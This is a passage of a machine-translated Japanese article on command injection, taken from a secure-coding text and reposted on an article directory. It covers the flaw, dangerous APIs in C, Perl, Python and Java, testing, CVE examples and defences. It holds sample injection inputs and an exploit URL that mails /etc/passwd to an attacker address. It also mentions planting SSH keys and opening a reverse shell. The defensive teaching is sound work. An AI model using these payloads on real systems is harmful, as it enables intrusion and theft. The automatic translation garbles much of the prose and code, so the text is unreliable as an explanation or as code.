コマンドインジェクション

Dutch French Spanish Portuguese Italian German Japanese Chinese Korean Russian Arabic Bookmark and Share this Article Original English article
  

1994年には、作者の前に座っていたこのチュートリアルであるsgi irixの実行しているコンピュータに表示されただけで、ログイン画面が表示されます。 それを印刷したので、いくつかのオプションを指定すると、プリンタのマニュアルを使用します。 著者はどのような想像かもしれないの実装は、文字列を指定しませんでした実際にプリンタを参照してたら、突然、管理者はウィンドウのボックスをオンにするだけでなく、作者にアクセスできるようにはできませんが、ではなくてもなかったログインしています。

この問題は、コマンドインジェクション攻撃は、ユーザーの入力したデータを実際にできることを意図して部分的に解釈されるいくつかのコマンドを並べ替えます。 多くの場合、それを持っている人のコマンドを与えることができ、データへのアクセスを制御するよりもはるかにアクセスする意図だったします。

影響を受けた言語

コマンドインジェクションの問題は、いつでも心配インラインコマンドやデータが置かれた。 中にいくつかの言語を取り除くことができ、最も簡単なコマンドインジェクション攻撃を提供する良いアプリケーションプログラミングインターフェイス( api )して適切な入力検証を実行し、その可能性は常に新しいapiを導入して新しい種類のコマンドインジェクション攻撃します。

の犯した罪の説明

コマンドインジェクション信頼していない問題が発生したときにデータが配置されたデータが渡されることにある種のコンパイラやインタプリタであり、どこにデータのかもしれない、フォーマットされた場合は、特定の方法で、以外の何かのデータとして扱われます。

この問題を解決するための標準例ではいつものコールにして、システムコマンドインタプリタに直接電話せずに検証します。 たとえば、古いirixのログイン画面(以前に言及)が何かに沿っ:

 文字buf [ 1024 ] ; snprintf ( buf 、 "システムのlpr - p % s "を、 user_input 、 sizeof ( buf ) -1 ) ;システム( buf ) ; 

このケースでは、権限を持たないユーザーだったので、絶対に誰にも可能性があるワークステーションさまよえるされました。 しかし、単にテキストを入力して: フレッド; xtermの& 、ご希望のターミナルポップアップため、 ;ご希望の最後に、元のシェルコマンドで、システム; xtermのコマンドを作成すると、ご希望の準備を全く新しいターミナルウィンドウのコマンドは、 &有力なプロセスを実行して、システムを遮断せずに現在のプロセスです。 ( windowsシェルで、アンパサンドメタキャラクタと同じ行為セミコロンunixのボックスをオンにします)と、以降のログインプロセスの管理者権限は、作成しても、端末の管理者権限が!

そこにはたくさんの機能を横断して多くの言語では、このような攻撃を受けやすいように、それ以降が表示されます。 しかし、コマンドインジェクション攻撃の必要はありませんとする関数には、システムのシェルを呼びかけています。 たとえば、攻撃者を活用することができるかもしれない言語の通訳に電話をします。 これは非常に人気がある高レベルのperlやpythonなどの言語です。 たとえば、次のpythonコード:

  def call_func ( user_input 、 system_data ) :実行' special_function_と% s ( " % s "を) ' % ( system_data 、 user_input 

上記のコードでは、演算子% pythonの行為に似て、 cで指定するprintf *最大値は、彼らの試合括弧で% sの値は、文字列です。 その結果、このコードは意図した関数を呼び出すによって選ばれたシステムでは、ユーザーからの引数渡すことです。 たとえば、 system_dataたサンプルとuser_inputたフレッドは、ご希望のpythonのコードを実行します:

  special_function_sample ( "フレッド" ) 

そして、このコードは、実行されると同じ範囲は声明を実行してます。

攻撃者user_input制御することができpythonの任意のコードを実行して欲しいと過程で、引用符を追加するだけで、続いて右括弧セミコロンとします。 たとえば、攻撃者が文字列をしてみて:

  フレッド" ) ;印刷(に" foo 

この原因は、関数を実行するには、次のコード:

  special_function_sample ( "フレッド" ) ;印刷(に" foo " ) 

これはプログラマーだけでなく、どのような意図が、プリントにもfooに入ります。 攻撃は文字通り何もここでは、ファイルを消去するなどの権限を、プログラム、あるいはネットワークに接続できません。 この場合の柔軟性を与え、より多くの攻撃者のアクセス権限を上回っていたそうで、これは、セキュリティ上の問題です。

の多くは、これらの問題が発生したときは、並列制御とデータ構造を、特殊文字を使用することができ、攻撃を変更するコンテキストに戻る制御構造をします。 の場合、コマンドシェルでは、数多くの魔法の文字をしています。 たとえば、ほとんどのunixライクなマシンでは、攻撃者がいる場合はセミコロンを追加する(終了するステートメント)であり、バックティック(バック間でデータを取得するコードを実行され) 、または垂直バー(後、すべてのバーは別として扱われ、関連するプロセス)は、かれらが任意のコマンドを実行します。 そこには他の特殊文字を変更することができるのコンテキストからのデータを制御する;これらは、最も明白です。

1つの共通の問題を軽減するための手法を実行するコマンドを使用するには、コマンドのapiを直接呼び出し、シェルを経由せずにします。 たとえば、 unixのボックスをオンにすると、その家族のための関数execv ( )は、シェルや通話をスキップして、プログラムを直接、文字列としての引数を与えます。

これは良いことだが、それも問題が解決していませんいつも、特にかもしれないので、プログラム自体を生み出しputデータのすぐ隣にある重要な構造を制御します。 たとえば、 execv ( )を呼び出しpythonのプログラムを通過して、その後の引数リストを実行するだろう悪い。 私たちは人にも見られるケースexecv ( ) '次元の/ bin / sh (コマンドシェル)で、その点完全に外れた。

関連の罪

いくつかの罪を閲覧することができ、特定の種類のコマンドを注入問題があります。 sqlインジェクションは明らかに特定の種類のコマンドインジェクション攻撃します。 フォーマット文字列の問題に見られることができ、一種のコマンドインジェクションの問題は、もします。 これは、攻撃者が値をプログラマが予想されるデータ、そして挿入読み出しおよび書き込みコマンド(たとえば、 % nには、指定のコマンドを書く)します。 これらの特定の場合には非常に共通して私たちはそれらを個別に扱われます。

これはまた、コアクロスサイトスクリプティング問題は、どこに攻撃を選んだことができたデータのように見える要素を制御する場合、そのデータを特定のウェブが正しくありません検証されます。

スポッティングの犯した罪のパターン

ここでは、要素のパターン:

  • コマンド(または制御情報)とのインラインの横に置かれたデータは、お互いにします。

  • そこは、いくつかの可能性があるかもしれないデータを取得するコマンドとして扱われ、多くの場合、文字のために特別な意味など、引用符やセミコロンます。

  • ご希望のコマンドを制御する権限を与えるよりもより多くのユーザーを既にお持ちします。

スポッティングの犯した罪の間のコードの見直し

apiのコール数が多いと、さまざまな種類の言語構造上、さまざまなプログラミング言語ではこの問題の影響を受けやすいです。 良いアプローチを検討し、この問題は、まずコードを識別するごとに構築することに使われる可能性がどのような種類のコマンドを起動するプロセッサ(シェルコマンドを含む、データベースやプログラミング言語の通訳自体の)します。 次に、このプログラムを見て見ぬふりを参照してくださいそれらのいずれかの構造は、実際に使用されます。 もし彼らは、次にするかどうかを確認してください適切な防御措置がとられます。 守備中に基づいて、罪の措置によって異なることができ、 1つの懐疑的な見方を否定するのでなければ、通常のリストベースのアプローチでは、リストにアプローチできるように賛成すると(詳細については"償還の手順"セクションにして次のように)します。

ここではいくつかのより多くの人気を心配される構造:

言語 コンストラクト コメント
用c / c + + システム( ) 、 popen ( )も、
execlp ( ) 、 execvp ( )
posixに
用c / c + + 家族のshellexecute ( )
関数の; _wsystem ( )
win32のみ
パール システム 1つの引数として呼び出された場合は、次の
コールした場合、文字列は、シェル
シェルのメタします。
パール 実行 似たようなシステムを除いて、エンド
プロセスは、 perlします。
パール バック( ` ) 通常、シェルが起動します。
パール オープン 最初の場合は、ファイル名の最後の文字または垂直バーは、次にperlの代わりにパイプを開きます。 この処理が行われる呼び上げてシェルとの残りの部分を通過したデータのファイル名がシェルします。
パール 縦棒演算子 ただ、このような行為は、 posix
popen ( )もコールします。
パール eval 文字列引数を評価して
perlコードとしてました。
パール 正規表現/演算子のe パターンにマッチした部分を評価する文字列をperlのコードです。
ニシキヘビ 実行、 eval データを取得するコードとして評価されました。
ニシキヘビ os.system 、 os.popen これらの根底にposixの代表を呼び出します。
ニシキヘビ execfile これはexecおよびevalと同様に、しかし、データは、指定したファイルを実行するからです。 場合、攻撃者にファイルの内容に影響を与えることができ、同様の問題が発生します。
ニシキヘビ 入力 evalに相当する( raw_input ( ) )ので、実際にこのコードを実行すると、ユーザーのテキストとして!
ニシキヘビ コンパイル 目的のコードは、表向きにテキストをコンパイルして実行するのでしょう!
javaの class.forname (文字列名)は、 class.newinstance ( ) javaのバイトコードを動的にロードして実行することができます。 いくつかのケースでは、危険なコードが来たときから、信頼していないユーザー(特に書くときに、アプレット)します。
javaの runtime.exec ( ) javaの試みを行うことで、セキュリティで保護されないことに直接の施設に電話をかけるにシェルします。 しかし、シェルがいくつかのタスクをすることができ便利なので、多くの人がこのコールに議論をして明示的にシェルを起動します。

テストのテクニックを紹介して罪を見つける

通常、やるべきことはすべての入力を取る、と思うのはどのようなコマンドシェルを取得することができ可能性がオフに渡され、各固執して、そのシェルメタキャラクタ、そして殴られているかどうかだ。 もちろん、入力したいを選択するような方法で、メタキャラクタ動作した場合は、無視できないほどの何かが実際に発生します。

たとえば、をテストする場合はデータを表示する場合は、 unixシェルに渡され、セミコロン追加するには、何か自分にメールをしてみました。 しかし、データが置かれた場合は引用符での文字列の中には、最後に引用符を挿入するかもしれませんが外に出ています。 これをカバーする場合があるかもしれないテストケースを引用して挿入するの後にセミコロンが、その後のコマンドをしてメールをしている。 他のかどうかを確認することが悪いことがクラッシュしたり、表示された場合と同様の電子メール;お客様のテストケースかもしれません正確な攻撃を実行してシーケンスが、それに近いかもしれないことに十分な問題を明らかにすることができます。 可能性はありますが、多くの防衛は、実際には、おそらくあまりにもファンシーを取得する必要はありませんします。 通常、簡単なプログラムを作成することができ、いくつかの置換を作成して、さまざまなメタ(制御文字の特別な意味を持つなど、 ; )とのコマンドでは、さまざまな送信者を入力し、検索結果を参照してくださいもし何か困ったします。

ツールのような企業からのspi力学とwatchfire自動化テストのために、この種のウェブベースのアプリケーションです。

罪の例

次のエントリは、共通の脆弱性や撮り( http://cve.mitre.orgれるcve )のウェブサイト( )の例は、コマンドインジェクション攻撃します。

ことができ- 2001 - 1187

ゲートウェイのcsvform perlの共通のインターフェイス( cgiの)レコードを追加するスクリプトをカンマ区切り値( csv )でのデータベースファイルです。 omnihttpdで2.07ウェブサーバーには、スクリプトと呼ばれるstatsconfig.plに同梱されます。 クエリの解析後には、ファイル名(ファイル内のパラメータに渡される)を取得するに渡され、次のコード:

 サブmodify_csv (場合(オープン( csv形式で、 $ _ [ 0 ] ) ) ( … ) 

ありません。入力ファイル名を確認して行われ、どちらかです。 残酷なトリックを使用することができ、パイプを追加すると、ファイル名の最後にします。

悪用の例をご希望の構成を訪れ、以下のurl :

  http://www.example.com/cgi-bin/csvform.pl?file=mail % 20attacker@attacker.org < / etc / passwdに| 

unixシステムでは、この電子メールは、システムファイルをパスワードを攻撃します。

注意して% 20は、 urlエンコードスペースが必要です。 取得して復号化しているcgiのスクリプトを実行する前に、データを取得するに渡されます。

悪用の例のように、興味深いものではありませんが、これらのすべての日、 unixのため、パスワードファイルのユーザー名のみを与えました。 攻撃の代わりには、おそらく何かを決定することができるようにログインするには、公開鍵を書くような〜 / ssh / authorized_keysにします。 あるいは、実際に使用することができ、この攻撃の両方にアップロードして任意のプログラムを実行したいことを書いてバイトをファイルにします。 perlは既にインストールされて以来、明らかに実行中の任意のボックスには、明白なことではないだろう、単純なperlスクリプトを書くの背面に接続して攻撃し、接続され、攻撃者にコマンドシェルします。

ことができ- 2002 - 0652

irixのファイルシステムのマウントサービスを使ってリモートのファイルシステムをマウントするためのrpc呼び出し、および通常はデフォルトでインストールされます。 ということが分かる、これまでのバグが発見され、 2002年の多くは、必要に応じてファイルをチェックして、サーバのリクエストを受信しているとき、リモートを使って実装されたコマンドを実行するpopen ( )も、コマンドラインからです。 その情報に使用されたから直接電話して、リモートユーザーと、うまく配置されたパラメータを許可しても、 rpcセミコロンで攻撃してrootとしてシェルコマンドを実行するボックスをオンにしています。

償還手順

やるべきことは明白なこと、いかなる種類のコマンドを呼び出す通訳します。 しかし、常に実用的ではありませんし、特にデータベースを使用する場合です。 同様に、約として有用なだけだろうと言っていた場合はコマンドシェルを使用するには、使用しないで外部データをしてください。 というだけではありませんほとんどの場合、実践的なアドバイスをします。

やりがいのある回答を行うだけでは検証します。 償還の道を歩んでは非常に分かりやすいページ:

  1. データをチェックしていることを確認することが分かりました。

  2. 適切な処置を取るときに、データが無効です。

データの検証

最高の水準で、次の2つを選択できます。 すべてのどちらかを検証することができ君はオフに行く船の外部過程で、部品を検証したりすることができだけでは信頼できないソースからの入力します。 どちらか1つは、立派な限り、あなたはそれについて徹底します。

たいていの場合、それはいいアイデア外部データを検証する権利を使用する前にしてください。 そこには、いくつかの理由で、このためです。 第一に、こうすることにより、すべてのデータを調べたデータを取得するに至るまでのパスを使用しています。 第二に、データの意味がよく理解し最良の直前のデータを使用しています。 これにより、以下のように可能な限り正確に入力して検証をチェックしています。 でもそれが良いの可能性に対する防御のデータが更新後、経営が悪化して確認してください。

最終的には、しかし、防衛的な戦略が最善の深さここにいます。 それをチェックするのもいいように入っていたデータはありませんので、危険性をチェックすることをせずに別の場所で使われています。 特にたくさんの場所である場合は、データの虐待をすることができ、それを簡単に見逃すかもしれませんが、いくつかの場所をチェックします。

そこには、 3つの著名な方法でデータの妥当性を判断する:

  • このリストを否定するようなアプローチを示すことで、データが無効試合、およびその他すべてを受け入れるとして有効です。

  • リストにアプローチできるように、お探しの有効なデータを設定し、それ以外を拒否する(チャンスさえあればいくつかの問題ではない)します。

  • "を引用し"あなたのアプローチのデータに変換することはできませんので、何もあり危険です。

これらのすべてのアプローチの欠点は、何かを忘れることかもしれない重要である。 の場合、リストを否定するとの言葉を引用し、このセキュリティ上の可能性が悪い明らかにします。 実際のところ、それは結局のところそうしていただける安全なソフトウェアを使用する場合はアプローチを否定するリストに合格したデータをいくつかの種類のシステム(シェルのような)ので、リストの文字を特別な意味を持つことができるは、実際には非常に長い。 いくつかのシステムでは、ほとんど何でも桁の数字以外の文字や特別な意味を持つことができます。 でも言葉を引用するよりもはるかに難しいと思うかもしれないします。 たとえば、 1つのときには、コードを書くためにいくつかの種類のコマンドを実行するプロセッサの言葉を引用し、それを取るの共通の文字列で、それを引用符でスティックします。 気を付けていない場合は、攻撃だけで投げることができ、独自の引用符である。 そして、いくつかのコマンドプロセッサでは、内部でも意味を持つメタ文字列を引用符(このunixコマンドシェルが含まれます) 。

感を与えてくれるでしょうどのように困難にすることができ、しようとするすべてのシェルメタキャラクタを書き留めて、お客様ご自身でました。 含まれていることすべてをとられる可能性があり制御、データの代わりにします。 リストの大きさはどのようにしてますか?

私たちのリストに含まれるすべての@つの句読点を除いて、 _ 、 + 、 : 、カンマとします。 いないことを確認しており、これらの文字は普遍的に安全です。 彼らはどこにあるのかもしれないシェルません。

と思われるかもしれその他の文字がいくつかあることはできないことに特別な意味があると解釈されます。 マイナス記号か? シグナルと解釈されるかもしれませんが、スタートのコマンドラインオプションの場合は、単語の開始します。 方法については、カラット( ^ )ですか? これは置換をご存知でしたか? 方法については、サイン%ですか? 中に頻繁に無害かもしれないときに、メタキャラクタとして解釈され、それはいくつかのメタキャラクタの状況ので、これはジョブ制御します。 チルダ( 〜 )は、似ていることが、いくつかのシナリオ、拡大している場合は、ユーザーのホームディレクトリになったのは、単語の開始が、それ以外のことはございませんメタキャラクタと見なされます。 またはその情報漏えいを悪化させる可能性がある、特にベクトルの場合は、団体名を見て、ファイルシステムのプログラムをすべきではないことを確認できるようにします。 たとえば、次のプログラムをお客様のかもしれないスティック/ホーム/ blah /アプリケーションのように、そして二重ドットの文字列を許可します。 しかし、ユーザーにアクセスできるように、何にもかもしれません/ホーム/ blah blah 〜だけを付けています。

スペース文字を制御することができても、意味的に使用されているため、個別のコマンドや引数の間にします。 多くの種類のスペースがあり、この行動は、タブを含めて、新しい行に入力し、キャリッジリターン、フォームフィード、および垂直タブします。

加えて、文字のように制御することができctrl - dを押し、 null文字を持つことができる望ましくない影響します。

全部で、それははるかに簡単にできるようにリストを使用するにします。 を使用する場合は否定するだろうリストには、信じられない方がよいでしょう確かに君は、すべての拠点をカバーします。 しかし、許可リストだけでは十分でないかもしれませんします。 教育は確かに必要なので、使用している場合にも許可するリストには、スペースやtildesせずに実現できるかもしれない何が起こるかもしれないし、セキュリティの観点からプログラムします。

別の問題を許可するリストは、不幸なのかもしれませんのでユーザーの入力して許されるべきだとはありません。 たとえば、次のを許可するかもしれません" + "は、 e - mailアドレスが、見つけた人はそれらを使用するような人を区別するために彼らは彼らのe - mailアドレスを提供します。 それでも、このリストにアプローチできるようにした方が強く、他の2つのアプローチします。

ケースを考慮して、ユーザからの値を取るにしていただけるのファイル名として扱います。 検証してみようと言うように(この例では、 pythonで) :

  char型でファイル名:もし(いない文字がstring.ascii_lettersではなく文字でstring.digitsとchar < > '.'):引き上げる" inputvalidationerror " 

これにより、期間のように、ユーザーが入力したファイル拡張子が、忘れについては、アンダースコアで、これは共通点がある。 しかし、リストのアプローチを否定すると、あなたを認めないと考えられているかもしれませんが、スラッシュ、悪いのだろう;アタッカープラスの可能性にピリオドを使用することで、ファイルシステムの他のファイルへのアクセスは、現在のディレクトリを越えています。 アプローチの言葉を引用して、書いていたでしょうし、もっと複雑パースルーチンます。

それは共通して正規表現を使用し、この種のテストを実行します。 正規表現は、簡単に入手できる間違っている場合、しかし、特に複雑になるときにします。 ハンドルをネストしたい場合は、このような構造は、彼のことは忘れています。

通常、よりセキュリティのビューで、より安全にすると良いでしょう申し訳ありません。 正規表現を使用することにつながるというより簡単に安全な慣行は、特に、最も正確なチェックをご希望の際に必要な、より複雑な意味よりも、単純なパターンマッチをチェックします。

失敗したときにチェック

そこには、 3つの戦略全般を扱う失敗でした。 彼らは相互に排他的でもないします。 それはいいことを常に、少なくとも最初の2つ:

  • 信号エラー(もちろん、拒否するには、コマンドを実行します) 。 どのようにエラーを報告するように注意、ただしました。 無効なデータをコピーしている場合だけに戻る、となる可能性のための基礎をして、クロスサイトスクリプティング攻撃します。 また、攻撃したくないあまりにも多くの情報を与える(特に実行時に使用した場合はチェックの設定データ)ので、ときどきするのが最適だと言うだけで"無効な文字"や他のいくつかの漠然とした応答します。

  • ログにエラーが発生して、関連するすべてのデータを含めています。 ログのように注意していませんプロセス自体の攻撃のポイントになる;ログのフォーマット文字をいくつかのシステムを受け入れる、と単純にしようといくつかのログデータ(キャリッジリターンとlinefeedsなど)が終わると、ログ堕落します。

  • 修正したデータを有効に、またはいずれかに替えることをデフォルト値に変換してください。

通常お勧めしておりません。 3番目のオプションを使用する。 のみを行うことができません。お間違いなく、間違えたときにはありませんが、エンドユーザーは、予想外の意味することができます。 それは単に簡単に失敗した場合、安全そうとします。

余分な防衛策

たまたまperlを使った場合は、その言語を支援するための施設を検出するには、この種の実行時にエラーが発生しました。 それは汚点と呼ばれるモードになります。 perlの基本的な考え方はされません送信unsanitizedデータをあなたの1つ上の悪い関数します。 しかし、汚染モードでのみ動作するかを確認し、お姉ちゃんを実行していない場合は何のメリットもないよ。 加えて、誤ってオフにすることができずに汚染のデータが実際に検証されません。 他の制限がありマイナーでも、これのみに頼ることをお勧めしません。このメカニズムにします。 しかし、それは、まだ偉大なテストツールは、価値をオンにすると、通常の1つとして防衛します。

apiのコールのための共通してコマンドを呼び出すプロセッサお勧めします。 apiを独自のラッパを書くことができるようにしてリストのフィルタリング、および入力している場合が例外が悪い。 これだけではありません入力の検証を行うためには、多くの場合、それを実行した方がいいの健全性チェックをより詳細なデータ値です。 しかし、それは良いの最初の行の防衛、それを実施するのは簡単です。 ラッパーのいずれかを行うことができ交換して"悪い"の機能、または使用することができ、簡単なコードの検索ツールでのすべてのインスタンスを見つける監査を行う権利を逃しかつ迅速に交換します。

結論

  • 入力検証を実行 、すべてのコマンドを入力する前に合格することができプロセッサが必要です。

  • ハンドルを確実に失敗た場合、入力検証チェック失敗します。

  • パスunvalidatedに入力されていない任意のコマンドプロセッサでも、意図している場合は、入力されるデータだけです。

  • 使用していない - listのアプローチを否定する場合を除き、 100 %確実に占める割合は現在のすべての可能性をします。

  • 正規表現の入力を回避するための検証を検討する ;その代わりに、簡単な書き込みをクリアされvalidators韓

これは、記事に追加されhendra牙
免責事項:弊社のウェブサイト上に含まれる情報は、責任を負いませんこの記事されました。 この記事ではない方法での意見を反映して、ご意見、思想や信条の記事ディレクトリのスタッフします。

翻訳注意:この記事"コマンドインジェクション"だった翻訳の自動翻訳サービスを使用しています。 すべてのお客様にご迷惑を翻訳してエラーが発生しました。 理解していただきありがとうございました。


Online: 1087 users browsing the articles directory